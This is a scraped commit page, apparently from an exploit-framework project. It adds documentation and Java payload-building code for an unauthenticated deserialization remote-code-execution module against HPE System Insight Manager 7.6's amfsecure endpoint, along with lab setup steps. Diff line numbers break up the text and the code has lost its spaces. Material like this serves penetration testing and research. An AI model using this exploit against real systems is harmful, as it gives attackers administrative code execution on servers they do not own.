You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
A remotely exploitable vulnerability exists within HPE System Insight Manager (SIM) version 7.6.x that can be
3
+
leveraged by a remote unauthenticated attacker to execute code within the context of HPE System Insight
4
+
Manager's `hpsimsvc.exe` process, which runs with administrative privileges. The vulnerability occurs due
5
+
to a failure to validate data during the deserialization process when a user submits a POST request to
6
+
the `/simsearch/messagebroker/amfsecure` page.
7
+
8
+
This module exploits this vulnerability by leveraging an outdated copy of Commons Collection, namely
9
+
3.2.2, that ships with HPE SIM, to gain RCE as the administrative user running HPE SIM.
10
+
11
+
### Installing HP SIM 7.6
12
+
1. Set up a Windows Server 2016 VM.
13
+
1. Sign up for a HP login if you do not have one already. You can use a throw away email address here.
14
+
1. Download HPE SIM from https://myenterpriselicense.hpe.com/cwp-ui/download/swd/product/details/HPSIM-Win-7.x.
15
+
1. Search for `Turn Windows Features On or Off`, select `Role-based or feature-based installation`, and click `Next`, until you see `Select features`.
16
+
1. Check `SNMP Service` and `.NET Framework 3.5 Features`, and click `Next`, then `Install`. You may need to be connected to the internet to install .NET 3.5.
17
+
1. Download SQL Server 2016 SP2 Express from https://www.microsoft.com/en-us/download/details.aspx?id=56840 and run the installer.
18
+
1. Open `Computer Management` and then go to `Computer Management (Local)->Services and Applications->SQL Server Configuration Manager->SQL Server Network Configuration->Protocols for SQLEXPRESS` and double click on `TCP/IP`.
19
+
1. Set `Enabled` to `Yes` under the `Protocol` tab.
20
+
1. Click on the `IP Addresses` tab and set all `TCP Dynamic Ports` fields from `0` to an empty field, and set all `TCP Port` fields to `1433`. Then click the `Apply` button.
21
+
1. Restart the SQL service by running `sc stop MSSQL$SQLEXPRESS` and then after a few seconds, run `sc start MSSQL$SQLEXPRESS`
22
+
1. Run the HPE SIM installer and when it gets to the `Database Configuration` page, it should default to `Use SQL/SQL Express`.
23
+
1. Ensure at this point that the username is `Administrator` (or whatever the name of the administrative user you are installing as is), and the `Domain` and `Host` values are correct, and that the port is `1433`.
24
+
1. For the `Password` field, enter the password of the `Administrator` (or whatever the name of the administrative user you are installing as is), and click the `Next` button.
25
+
1. Click `Typical` under the installation option and then select `Next`.
26
+
1. On the `Service Account Credentials` screen, enter the password for the `Administrative` user and click `Next`. Then click `Install`.
27
+
1. Wait for installation to complete, this could take up to 30 min.
28
+
1. Verify that you can view https://127.0.0.1:50000/simsearch/messagebroker/amfsecure and that the page returns a HTTP 200 OK response code.
29
+
30
+
## Verification Steps
31
+
32
+
1. Install the application ensure port 50000 is open on the target and that the `/simsearch/messagebroker/amfsecure` page is accessible.
// Create the MessageBody element that will contain the data to be recreated using readObject().
80
+
// Recall the chart at https://www.inoreader.com/camo/snhlUtNtXaxve88gsw99xlxXbXWDf4YGK8v6NpdVn1bY,b64/aHR0cHM6Ly9jZG4taW1hZ2VzLTEubWVkaXVtLmNvbS9tYXgvMTAyNC8xKkdHbkVzTWU5N3FUR1VlNGhiVkl0SUEucG5n
81
+
// if you need more info on this.
82
+
MessageBodybody = newMessageBody();
83
+
body.setData(data);
84
+
85
+
// Wrap it the MessageBody in an ActionmMessage which we will call "body", which is needed for proper deserialization to occur, as the HTTP
86
+
// end point is expecting a ActionMessage that is then passed to SerializationFilter.invoke(). You can further tell
87
+
// this via AmfMessageDeserializer's readMessage() function which expects a ActionMessage (aka the "message" variable
88
+
// here), as well as a ActionContext (provided via SerializationContext.getSerializationContext() here).
89
+
ActionMessagemessage = newActionMessage();
90
+
message.addBody(body);
91
+
92
+
// Serialize the ActionMessage object, aka message, using a new AmfMessageSerializer instance into the ByteArrayOutputStream represented by "out".
93
+
// Then call out.toByteArray() to get the byte array version of the resulting serialized object.
deserializer.initialize(SerializationContext.getSerializationContext(), in, null); // Same initialization function call, don't wnat to change this.
111
+
deserializer.readMessage(newActionMessage(), newActionContext()); // Pass in a new ActionContext object to initialize, as well as an ActionMessage object to initialize.
0 commit comments